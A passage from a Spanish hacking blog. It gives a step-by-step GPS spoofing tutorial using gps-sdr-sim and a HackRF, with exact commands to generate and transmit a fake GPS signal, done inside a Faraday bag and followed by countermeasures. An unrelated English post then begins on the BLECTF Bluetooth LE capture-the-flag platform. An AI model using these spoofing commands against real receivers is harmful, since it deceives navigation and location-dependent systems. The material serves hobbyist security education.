El archivo diario de efemérides de emisión del GPS (brdc) es una fusión de los archivos de navegación de sitios individuales en uno solo archivo; este tipo de archivos son necesarios para generar el mencionado pseudorrango y el Doppler simulados para los satélites GPS a la vista. Estos datos de rango simulado se utilizan luego para generar las muestras digitalizadas I/Q para la señal GPS que emitiremos desde HackRF.</div>
<div>
¿Donde se consiguen estos archivos de efemerides GPS? La NASA nos echa una mano con ello y nos los ofrece prácticamente a diario en <a href="ftp://cddis.gsfc.nasa.gov/gnss/data/daily/" target="_blank">ftp://cddis.gsfc.nasa.gov/gnss/data/daily/</a> (al menos hasta Octubre de 2020, fecha a partir de la cual necesitaremos registrarnos).</div>
<div>
<br /></div>
<div>
Por último ya solo nos hace falta el programa con el que comunicaros desde nuestro equipo Windows con el dispositivo HackRF y transmitirle el archivo generado y lo haremos con <b><i>hackrf_transfer.exe</i></b> el cual podremos compilarlo por nosotros mismos o descargar el ejecutable ya compilado desde el <a href="https://github.com/pothosware/PothosCore/wiki/Downloads#windows-installer" target="_blank">github de Pothosware</a>.</div>
<div>
<br /></div>
<h4>
Hardware</h4>
<div>
Como emisores de nuestra señal GPS suplantada usaremos en HackRF (en las fotos aparece con el PortaPack puesto, pero esta en modo de funcionamiento convencional debido a que, por la preparación del laboratorio, no podré acceder a su pantalla ni controles durante el proceso).<br />
<br /></div>
<div>
Como dispositivo receptor de la señal GPS voy a utilizar un dispositivo Android, concretamente un Nexus 5 que es mi "compañero de cacharreos" para pruebas y experimentos varios.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6TEQLbJM1UlbhgNdPGd1Fd2qiDuySFMCC07SHfK-wkhxpQ746nJjl5B0lQoAY4on_KZJZH-93KOctdDJNe2Yd8WU1QeN929PJDpLFtHJb32bypKvydTvyRruBSpxBrcf02wAE6M3_cEc/s1600/IMG_5056.HEIC" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6TEQLbJM1UlbhgNdPGd1Fd2qiDuySFMCC07SHfK-wkhxpQ746nJjl5B0lQoAY4on_KZJZH-93KOctdDJNe2Yd8WU1QeN929PJDpLFtHJb32bypKvydTvyRruBSpxBrcf02wAE6M3_cEc/s400/IMG_5056.HEIC" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Adicionalmente y aunque más que hardware podría considerado "escenario de pruebas" como media de cumplimiento legal por lo expuesto en el apartado anterior y no infringir la normativa ni tampoco emitir ninguna señal al dominio público radioeléctrico, es necesaria la utilización de una caja o bolsa de Faraday que aislar totalmente nuestros dispositivos.<br />
<br />
En mi caso he optado por una bolsa de peritaje que bloqueará las ondas electromagnéticas RF externas y las redirige a lo largo de la superficie de la propia funda y actuando del mismo modo en su parte interior, donde vas a tener nuestro emisor HackRF así como nuestro teléfono Android como receptor asegurándonos así no infringir ninguna normal legal al respecto. </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKCgLN1Vi89kqGqjeLlW76F-2yLSia5ttU7ly5PP31LoQZ4KzuxhARLUbReV0oojJUTmksynR5rDtV23C7CW1HV4XsGYg30zoP00d6bRnhmb2_9SfDkR6T38XQds7VUv1sk9QTsDzZCq0/s1600/IMG_5047.HEIC" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKCgLN1Vi89kqGqjeLlW76F-2yLSia5ttU7ly5PP31LoQZ4KzuxhARLUbReV0oojJUTmksynR5rDtV23C7CW1HV4XsGYg30zoP00d6bRnhmb2_9SfDkR6T38XQds7VUv1sk9QTsDzZCq0/s200/IMG_5047.HEIC" width="150" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4cCPNGEYd3F-fqmWrNr71CInAL7MHweVPUnwJtxNZvTEdJlQT0JRxrG5wyexQ6h2AjzDlBBAGHXPiAEVZI3VM2ISTntBvVlNX1L8qVZXt4uGE_4igIoRWt5MnjgvJgjIE6arZA8ow9YY/s1600/IMG_5058.HEIC" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4cCPNGEYd3F-fqmWrNr71CInAL7MHweVPUnwJtxNZvTEdJlQT0JRxrG5wyexQ6h2AjzDlBBAGHXPiAEVZI3VM2ISTntBvVlNX1L8qVZXt4uGE_4igIoRWt5MnjgvJgjIE6arZA8ow9YY/s200/IMG_5058.HEIC" width="200" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Tan solo debemos tener la precaución antes de cerrar la bolsa por completo de dejar por fuera los cables de conexión USB a nuestro ordenador para comandar el HackRF y visualizar en la pantalla de nuestro ordenador el móvil Android (en mi caso usé la solución <a href="https://github.com/Genymobile/scrcpy" target="_blank">SCRCPY</a>).</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oPjhxNWOUjB7N5g56kQ6KLlz2CCpjQ3MRbewRyJ_wicI6ijApYKMMYt5T5QOGi6etlVyokYmFPrHv0yhaw9cBmyi4kzobvjci5n5o6gZBKrKACPaVDf9Ta9t_j0deE7PGaINga_6RV4/s1600/IMG_5061.HEIC" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oPjhxNWOUjB7N5g56kQ6KLlz2CCpjQ3MRbewRyJ_wicI6ijApYKMMYt5T5QOGi6etlVyokYmFPrHv0yhaw9cBmyi4kzobvjci5n5o6gZBKrKACPaVDf9Ta9t_j0deE7PGaINga_6RV4/s320/IMG_5061.HEIC" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h3>
Compilando GPS-SDR-SIM</h3>
</div>
<div>
Una vez descargado el proyecto y extraído a una carpeta abrimos Visual Studio y desde el menú de tareas iniciales crearemos un nuevo proyecto vacío y posteriormente seleccionaremos la opción "<i>Aplicación de consola</i>".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgei9HwBDdDwpE0FJ8SFZsLAA1pbXnpefqSPXrTmrASpxIyBxMmhJmou00aQ9rimK0KBdUlMRLaUySffAdW5EQtmSOPN7-qCJLUrUWSGAlfCGtFRU0pzA-SL_kswsFYilCXRhO1-FMMQ0o/s1600/vs01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="930" data-original-width="1268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgei9HwBDdDwpE0FJ8SFZsLAA1pbXnpefqSPXrTmrASpxIyBxMmhJmou00aQ9rimK0KBdUlMRLaUySffAdW5EQtmSOPN7-qCJLUrUWSGAlfCGtFRU0pzA-SL_kswsFYilCXRhO1-FMMQ0o/s1600/vs01.png" /></a></div>
<br />
<br />
Una vez el proyecto vació se nos abra y ya veamos la interface de Visual Studio, debemos de añadir los archivos<b> <i>gpssim.c</i></b> y <b><i>getopt.c</i></b> a la carpeta "<i>Archivos de origen</i>" que nos muestra el explorador de soluciones en el margen derecho.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF9YE0oBCW8_8uHPXFzYg5HP4rzjlc-_gqum1qUj0WInHunWddk3z5u_QTHfB5WkzbaV9tcgDocAwEJ4-ndwlYa1EHE3uG3thV9yGGe3PfCmVDNfq6kBcFMbmbQW97DKHn1WaVxSbklrs/s1600/vs02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="701" data-original-width="1219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF9YE0oBCW8_8uHPXFzYg5HP4rzjlc-_gqum1qUj0WInHunWddk3z5u_QTHfB5WkzbaV9tcgDocAwEJ4-ndwlYa1EHE3uG3thV9yGGe3PfCmVDNfq6kBcFMbmbQW97DKHn1WaVxSbklrs/s1600/vs02.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
Desplegamos el menú de opciones superior de Visual Studio para seleccionar "Release" y procedemos a compilar desde la opción Compilar del menú superior de opciones.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBaFKziD6ECFjGME_MApwvaI8AC3DcYmRmknXh8WWh1VMlFmU3osRKr-QFSKMIjBD_N1cMA0kr5CuX9B-VlmlEa9Rp_3Tw2AeajtSaAz_naGppN4gnl-bqOCHrIFEknCWbHkGlHM4wZAU/s1600/vs03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="439" data-original-width="1279" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBaFKziD6ECFjGME_MApwvaI8AC3DcYmRmknXh8WWh1VMlFmU3osRKr-QFSKMIjBD_N1cMA0kr5CuX9B-VlmlEa9Rp_3Tw2AeajtSaAz_naGppN4gnl-bqOCHrIFEknCWbHkGlHM4wZAU/s1600/vs03.png" /></a></div>
<br />
<br />
Como resultado obtendremos el ejecutable con el nombre que le hayamos dado en el proyecto (en mi caso GPS.exe haciendo alarde de mi gran creatividad...) y algunos objetos más que debemos mantener en la misma carpeta. Para probar solo tenemos que ejecutar desde linea de comandos con, por ejemplo, la opción <span style="font-family: "courier new" , "courier" , monospace;"><b>-h</b></span> para ver la ayuda del programa.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQbfGFeq6D1RGg-eg73z0Xv5Wp_IZ69Q3hhrB38WacdpqpxSQYKqJhy2BY4Fl2eoUxea_BoFD2XRFVeNiho-sdqDkafTOONM7jZlru19JMxrjpSsWj9sRbhWjidrMRMkhfOsCxYzkZiFY/s1600/vs04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="315" data-original-width="916" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQbfGFeq6D1RGg-eg73z0Xv5Wp_IZ69Q3hhrB38WacdpqpxSQYKqJhy2BY4Fl2eoUxea_BoFD2XRFVeNiho-sdqDkafTOONM7jZlru19JMxrjpSsWj9sRbhWjidrMRMkhfOsCxYzkZiFY/s1600/vs04.png" /></a></div>
<br />
<br />
Listo!! Ya podemos olvidarnos de la compilación y centrarnos en la parte interesante del proyecto!<br />
<br />
<br />
<div>
<br />
<h3>
Creando la señal y emitiéndola con HackRF</h3>
Como hemos mencionado en el aparto de requisitos de software, algo imprescindible que necesitamos es el archivo de efemérides de emisión del GPS (brdc), para ello tan solo debemos acceder al ftp servido por la NASA y una vez dentro seleccionado el años, después vamos a la carpeta "<i>brdc</i>" y elegimos uno de los archivos mas actualizado que haya (hay varios archivos para cada día).<br />
<br />
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigzfqZNiRwTF1ECaNrw506VNz0HBvZ7lHQCdSRVqhSdHmgExM803LGcv2hIRs-Am6W14puXrcq5Thr50E6G9j8PDvaXoWJ76ItSBWnzot7gmah1NVf_MkYCRrM1HgFdLWndWgWlYznZYU/s1600/nasa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1110" data-original-width="1305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigzfqZNiRwTF1ECaNrw506VNz0HBvZ7lHQCdSRVqhSdHmgExM803LGcv2hIRs-Am6W14puXrcq5Thr50E6G9j8PDvaXoWJ76ItSBWnzot7gmah1NVf_MkYCRrM1HgFdLWndWgWlYznZYU/s1600/nasa.png" /></a></div>
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div>
Ahora que ya lo tenemos todo preparado, solo nos falta decidir la localización donde queremos hacer creer al dispositivo GPS que se encuentra, así que... ¿Donde os apetece viajar? A mi personalmente me apetece volver de vacaciones al sur de España, de modo que vamos a generar el archivo con el pseudorango con el siguiente comando:<br />
<div style="color: black; font-size: medium; font-style: normal; letter-spacing: normal; text-align: center; text-transform: none; white-space: normal; word-spacing: 0px;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>gps.exe -b 8 -e brdc1470.20n -l 36.276173,-6.087545</b></span><span style="font-family: "times new roman"; font-weight: 400;"> </span></div>
<div style="color: black; font-size: medium; font-style: normal; letter-spacing: normal; text-align: left; text-transform: none; white-space: normal; word-spacing: 0px;">
<span style="font-family: "times new roman"; font-weight: 400;"><br /></span></div>
Donde con la opción <b><span style="font-family: "courier new" , "courier" , monospace;">-b</span></b> le indicamos el formato en bits del I/Q resultando, con <b>-e </b>el archivo efemerides brdc que acabamos de descargar y con <span style="font-family: "courier new" , "courier" , monospace;"><b>-l</b> </span>las coordenadas estáticas exactas que queremos emular. Pulsamos enter y lo dejamos trabajar.</div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ_BBPyc0_50Wb7Qg8Xu03q294IPKouhyphenhyphenE0HRd-U_IPngr-ujWOF4NAZcOpYYlBBhpE5WHn1syMZY5fngS-fUYRy-tKJYmTATA9R0YLdUWr03OOL1dIi7Zy3EL8p7Xr43tCDdxLudvsvw/s1600/bincration01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="271" data-original-width="823" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ_BBPyc0_50Wb7Qg8Xu03q294IPKouhyphenhyphenE0HRd-U_IPngr-ujWOF4NAZcOpYYlBBhpE5WHn1syMZY5fngS-fUYRy-tKJYmTATA9R0YLdUWr03OOL1dIi7Zy3EL8p7Xr43tCDdxLudvsvw/s1600/bincration01.png" /></a></div>
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
Una vez finalizado el proceso observaremos como en la carpeta ha aparecido un archivo con extensión <b style="font-style: italic;">.bin </b>con nombre<b style="font-style: italic;"> gpssim </b>(salvo que hayamos usado la opción <b><span style="font-family: "courier new" , "courier" , monospace;">-o</span></b> en el paso anterior y hayamos especificado otro nombre de archivo)<br />
<br />
<div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkuipYk5fp5CWvMWWusroJsv_DlBn7n_TNcK9HXGhFm2epINVKWLPCSLpkE_KR-Buru4joFwIbrLQ0hwy3KnjfKqSQBE7O4jG4z86K47pEh-ANsZQ425WpCxXzvIpIXT8y0xUHDxHO5vg/s1600/bincration02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="89" data-original-width="773" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkuipYk5fp5CWvMWWusroJsv_DlBn7n_TNcK9HXGhFm2epINVKWLPCSLpkE_KR-Buru4joFwIbrLQ0hwy3KnjfKqSQBE7O4jG4z86K47pEh-ANsZQ425WpCxXzvIpIXT8y0xUHDxHO5vg/s1600/bincration02.png" /></a></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
</div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div>
Pues ya solo nos falta el último paso: conectar el HackRF a nuestro ordenador y enviarle el archivo generado! Para ello usaremos la herramienta <i>hackrf_transfer</i> comentada en la secciones más arriba y la sintaxis a utilizar será <br />
<div style="text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>hackrf_transfer.exe -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0</b></span></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: center; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
Donde <span style="font-family: "courier new" , "courier" , monospace;"><b>-t</b></span> debe ser el archivo .bin que acabamos de generar con gps-sdr-sim, <span style="font-family: "courier new" , "courier" , monospace;"><b>-f</b></span> es la frecuencia en Hz de emisión (hay que ajustarla 1.575Ghz que es la frecuencia de utilizacion del GPS) así como como <span style="font-family: "courier new" , "courier" , monospace;"><b>-s</b></span> para ajustar el sample rate y <span style="font-family: "courier new" , "courier" , monospace;"><b>-a</b></span> a un valor de 1 para activar el amplificador RX/TX de HackRF y con <span style="font-family: "courier new" , "courier" , monospace;"><b>-x </b></span>podremos ajustar la ganancia TX VGA de 0 hasta 47 dB ( a mi personalmente lo que mejor resultado me ha dado ha sido siempre dejarlo en cero).</div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_727aZQgTnkKRgHkqVRbHNwIJWw_toAPUIwVF0Zqria2pN_W5PkDdEHUHAq-mH2_h7AzxzWP9uL5EO-z5neCUXYC77b4IW8amefCvcCVXrpJznyY1HQw3nbxZUM-5-6caP6fr1j5Ipw8/s1600/transfer01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="195" data-original-width="854" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_727aZQgTnkKRgHkqVRbHNwIJWw_toAPUIwVF0Zqria2pN_W5PkDdEHUHAq-mH2_h7AzxzWP9uL5EO-z5neCUXYC77b4IW8amefCvcCVXrpJznyY1HQw3nbxZUM-5-6caP6fr1j5Ipw8/s1600/transfer01.png" /></a></div>
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div>
Ahora ya solo queda esperar pacientemente durante algunos segundos/minutos, a mi me gusta monitorizar la actividad del GPS con una aplicación suplementaria y cuando ella me indica que ya ha cogido los satélites necesarios y me da las coordenadas lo compruebo usando google maps.<br />
Como os digo llegados a este punto es solo cuestión de paciencia para comprobar después como desde Madrid nos hemos "tele transportado" a Conil De La Frontera!<br />
<div class="separator" style="clear: both; color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: center; text-transform: none; white-space: normal; word-spacing: 0px;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/WWLaz4Im3Zs/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/WWLaz4Im3Zs?feature=player_embedded" width="320"></iframe></div>
</div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div>
¿Que tal si generamos otro archivo y esta vez cruzamos al otro "lado del charco"? Nunca "viajar" fue tan cómodo, rápido y económico!! ;-)<br />
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div class="separator" style="clear: both; color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: center; text-transform: none; white-space: normal; word-spacing: 0px;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/CtAImawUQ6Q/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/CtAImawUQ6Q?feature=player_embedded" width="320"></iframe></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
</div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
A partir de aquí el límite es la imaginación... y el globo terráqueo lógicamente!<br />
Además de poder definir localización estáticas en unas coordenadas exactas, gps-sdr-sim puede generar también archivos dinámicos, por lo que podemos pasarle como argumento un archivo con una trayectoria definida por nosotros mismos bien en un archivo CSV que contenga las posiciones que deseemos centradas en la Tierra (<a href="https://en.wikipedia.org/wiki/ECEF">ECEF</a>), o bien en un archivo de trazas <a href="https://en.wikipedia.org/wiki/NMEA_0183">NMEA GGA</a> (existen simuladores para generar el archivo concreto con al ruta que nosotros deseemos como por ejemplo <a href="http://www.atlsoft.de/gps-simulator/">esta de ATLsoft</a>).<br />
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<br /></div>
<div style="color: black; font-family: "times new roman"; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-transform: none; white-space: normal; word-spacing: 0px;">
<h3>
Posibles contramedidas </h3>
</div>
Como podéis observar, ha sido relativamente sencillo crear una señal GPS fraudulenta y confundir con ella a los dispositivos, el sistemas es vulnerable y hoy en día salvo las comunicaciones militares y algunas muy puntuales que van cifradas, todas pueden verse afectadas por este tipo de amenazas.<br />
<br />
De todas las posibles soluciones de software para la mitigación de estas amenazas de las que he podido investigar algo y me parecen interesantes pasan por un sistema de monitorización y detección temprana de cambios repentinos en la intensidad de la señal, y una monitorización de los saltos de tiempo en al recepción de trazas su análisis para determinar su plausibilidad/viabilidad. <br />
<br />
Muy interesante una solución de hardware que he encontrado del fabricante Microchip, se trata del <br />
<a href="https://www.microsemi.com/product-directory/gps-instruments/4398-bluesky-gps-firewall" target="_blank">BlueSky GNSS Firewall</a> y no es nadas más y nada menos que un firewall que sirve para proteger todas aquellas infraestructuras que puedan depender del sistema GPS. Para lograrlo todos los datos de la señal GPS que se reciben son evaluados y comprobados en paralelo con/desde cada satélite para asegurar su cumplimiento además de un análisis en paralelo de las características de la señal recibida para detectar posibles anomalías en ella. Es un dispositivo muy interesante que os recomiendo echar un vistazo.</div>
</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDuOI2wJt35NUynTCHef_PfgJdDSGgb64hebmCJxj5vbHvSN5ibDEKr9IJ0m9rniMDy2yGehZ5_WF1FOyAojV0gmg2r1ndXwu6dhPPoP6f42FEOrtdJi3kPvtiwEftrMeiq8tXxjSl84o/s1600/Deployment_Diagram.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="545" data-original-width="739" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDuOI2wJt35NUynTCHef_PfgJdDSGgb64hebmCJxj5vbHvSN5ibDEKr9IJ0m9rniMDy2yGehZ5_WF1FOyAojV0gmg2r1ndXwu6dhPPoP6f42FEOrtdJi3kPvtiwEftrMeiq8tXxjSl84o/s1600/Deployment_Diagram.png" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Pues esto ha sido todo ahora! Espero que no se haya hecho demasiado pesado el artículo y os haya gustado, como siempre MUCHAS GRACIAS por la visita y por vuestro tiempo en leerlo!.<br />
<br />
Hasta la próxima!!! Saludos!!!</div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com5tag:blogger.com,1999:blog-7944950214559293430.post-22608014968386381542020-02-04T10:21:00.000+01:002020-06-10T09:33:16.334+02:00BLECTF, a "Capture The Flag" hardware platform based on Bluetooth Low Energy BLE + Write-Up<div style="text-align: justify;">
Today I take up again the wireless theme to talk to you about BLE_CTF, a project that offers us the customization of an ESP32 module to turn it into an autonomous "Capture the Flag" platform focused on the use of Bluetooth, which will allow us to start getting acquainted with the basics of the interactions between client and Bluetooth LE server.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<img height="179" src="https://blogs.masterhacks.net/wp-content/uploads/2019/08/masterhacks_bluetooth_vulnerabilidad_conexiones_encriptadas.jpg" width="320" /></div>
<br />
<a name='more'></a><h3>
BLECTF</h3>
<div>
<div style="text-align: justify;">
BLECTF is a creation of <a href="https://github.com/hackgnar" target="_blank">Ryan Holeman</a> <a href="https://twitter.com/hackgnar" target="_blank">@hackgnar</a> and is a platform of 20 Low Energy Bluetooth based challenges and in his own words "<i>The purpose of BLE CTF is to teach the basics of low energy Bluetooth client/server interactions. Its purpose is to teach and reinforce the basic concepts that are necessary to dive into the world of Bluetooth hacking</i>". Doesn't sound bad at all, does it?<br />
<br />
The concept of this CTF arises around a DIY project, where we must have a basic and cheap hardware, in which we will "flash" the platform after compiling it and that ultimately will offer us in a totally autonomous way 20 Bluetooth challenges that we must solve.<br />
<br />
Let's start with it!</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<h3>
<span style="font-size: 18.72px;">Starting from the beginning! Theoretical Basics of BLE</span></h3>
<div>
Bluetooth Low Energy comes in version 4.0 and is a wireless communication protocol that, among other things, allows interactive communication between several devices with minimal resource consumption using the 2.4GHz frequency (like WiFi).</div>
<br />
<div>
<div style="text-align: justify;">
The protocol uses a total of 40 radio channels (with a bandwidth of 2MHz each) of which 3 are used for "advertising" and the other 37 are for data transport and exchange.<br />
The connection requests between the devices and the start of the connection is always through these three Advertisement channels (Channels 37, 38 and 39).<br />
<br /></div>
</div>
<div style="text-align: center;">
<img alt="Bluetooth Low Energy Channels and 2.4GHz Band with Wi-Fi Channels" height="315" src="https://www.argenox.com/static/assets/ble-advertising-channels-spectrum.png" width="640" /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
As the use of the 2.4GHz spectrum is used jointly by WiFi, Bluetooth and BLE devices, the protocol establishes a specific operation to avoid possible collisions at that junction. To this end, the protocol determines that the use of the 37 data channels by the devices once the connections have been established is done by jumping between the different channels available for data, the route of which is known by the devices interconnected at that given moment.<br />
<br />
Similarly, the protocol defines two key concepts in this mode of use as with the <b><i>Hop Interval </i></b>(which determines the milliseconds that will elapse before jumping to another channel) and the <b><i>Hop Increment </i></b>(which determines the number of channels that will "jump" and therefore determines the destination channel in the jump). The combination of these two elements gives rise to another new "player" in this game, which is the <b><i>Channel Map</i></b>.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div style="text-align: center;">
<img height="364" src="https://microchip.wdfiles.com/local--files/wireless:ble-link-layer-channels/frequency-hopping.png" width="640" /></div>
<h4>
GAP y GATT</h4>
<div>
<div style="text-align: justify;">
The Bluetooth protocol stack is divided into two categories: the controller and the host. Each category has subcategories that perform specific functions. The two subcategories we will examine are the Generic Access Profile (<b><i>GAP</i></b>) and the Generic Attribute Profile (<b><i>GATT</i></b>).<br />
In general terms GAP defines the general topology of the BLE stack while GATT describes how the attributes (data) are transferred once the connection is established.<br />
<br />
GATT focuses specifically on how data is formatted, packaged and sent according to the rules described. In the BLE network stack, the Attribute Protocol (ATT) is closely aligned with the GATT, where the GATT is directly above the ATT. </div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
